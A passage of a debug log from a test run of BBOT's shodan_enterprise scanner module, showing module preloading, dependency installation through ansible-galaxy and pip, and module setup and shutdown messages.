modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:38:37,610 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:38:37,610 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:38:37,611 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:38:37,612 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:38:37,614 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:38:37,616 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:38:37,617 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:38:37,618 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:38:37,619 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:38:37,620 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:38:37,621 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:38:37,622 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:38:37,623 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:38:37,623 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:38:37,624 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:38:37,625 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:38:37,626 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:38:37,627 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:38:37,628 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:38:37,629 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:38:37,629 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:38:37,630 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:38:37,631 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:38:37,632 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:38:37,633 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:38:37,634 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:38:37,635 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:38:37,636 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:38:37,637 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:38:37,639 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:38:37,640 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:38:37,643 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:38:37,645 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:38:37,647 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:38:37,648 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:38:37,650 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:38:37,651 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:38:37,653 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:38:37,654 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:38:37,655 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:38:37,655 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:38:37,656 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:38:37,833 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4614814208 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:38:37,834 [DEBUG] filelock _api.py:334 Lock 4614814208 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:38:37,835 [DEBUG] filelock _api.py:364 Attempting to release lock 4614814208 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:38:37,835 [DEBUG] filelock _api.py:367 Lock 4614814208 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:38:38,845 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:38:38,846 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:38:38,846 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:38:38,991 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:38:39,572 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:38:39,572 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:38:39,573 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:38:39,573 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:38:39,779 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:38:39,780 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:38:39,890 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:38:39,890 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:38:39,945 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 21:38:39,951 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:38:39,951 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:38:40,412 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:38:40,412 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:38:43,181 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:38:43,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:38:43,182 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:38:45,101 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:38:45,102 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:38:45,107 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:38:45,107 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:38:45,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:38:45,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:38:45,108 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:38:45,109 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:38:45,109 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:38:45,109 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:38:45,113 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/1k9khqawaeza3uu60q90 +2026-02-27 21:38:45,861 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:38:45,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:38:45,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:38:45,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:38:45,864 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:38:45,980 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:38:45,981 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:38:45,981 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:38:45,982 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:38:45,983 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:38:45,983 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:38:45,983 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:38:45,984 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:38:45,984 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:38:45,985 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:38:45,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:38:45,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:38:45,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:38:45,986 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:38:45,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:38:45,987 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:38:45,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:38:45,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:38:45,988 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:38:45,988 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:38:45,988 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:38:45,988 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:38:45,989 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:38:45,989 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:38:45,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:38:45,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:38:45,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:38:45,990 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:38:45,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:38:45,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:38:45,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:38:45,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:38:45,992 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:38:45,992 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:38:46,362 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:38:46,363 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:45:39,356 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:45:39,369 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:45:39,370 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:45:39,371 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:45:39,372 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:45:39,374 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:45:39,375 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:45:39,375 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:45:39,376 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:45:39,377 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:45:39,378 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:45:39,379 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:45:39,380 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:45:39,381 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:45:39,382 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:45:39,384 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:45:39,384 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:45:39,387 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:45:39,387 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:45:39,392 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:45:39,393 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:45:39,395 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:45:39,396 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:45:39,398 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:45:39,399 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:45:39,401 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:45:39,402 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:45:39,403 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:45:39,403 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:45:39,404 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:45:39,406 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:45:39,407 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:45:39,408 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:45:39,410 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:45:39,411 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:45:39,412 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:45:39,413 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:45:39,414 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:45:39,416 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:45:39,417 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:45:39,418 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:45:39,419 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:45:39,420 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:45:39,421 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:45:39,422 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:45:39,423 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:45:39,424 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:45:39,425 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:45:39,427 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:45:39,429 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:45:39,430 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:45:39,432 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:45:39,432 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:45:39,433 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:45:39,434 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:45:39,435 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:45:39,436 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:45:39,437 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:45:39,438 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:45:39,439 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:45:39,440 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:45:39,441 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:45:39,441 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 21:45:39,442 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:45:39,448 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:45:39,450 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:45:39,451 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:45:39,451 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:45:39,453 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:45:39,453 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:45:39,454 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:45:39,455 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:45:39,456 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:45:39,457 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:45:39,458 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:45:39,460 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:45:39,461 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:45:39,462 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:45:39,463 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:45:39,465 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:45:39,466 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:45:39,467 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:45:39,468 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:45:39,469 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:45:39,470 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:45:39,470 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:45:39,472 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:45:39,473 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:45:39,474 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:45:39,475 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:45:39,483 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:45:39,484 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:45:39,486 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:45:39,487 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:45:39,488 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:45:39,489 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:45:39,490 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:45:39,491 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:45:39,492 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:45:39,493 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:45:39,495 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:45:39,496 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:45:39,497 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:45:39,498 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:45:39,499 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:45:39,501 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:45:39,501 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:45:39,502 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:45:39,503 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:45:39,504 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:45:39,505 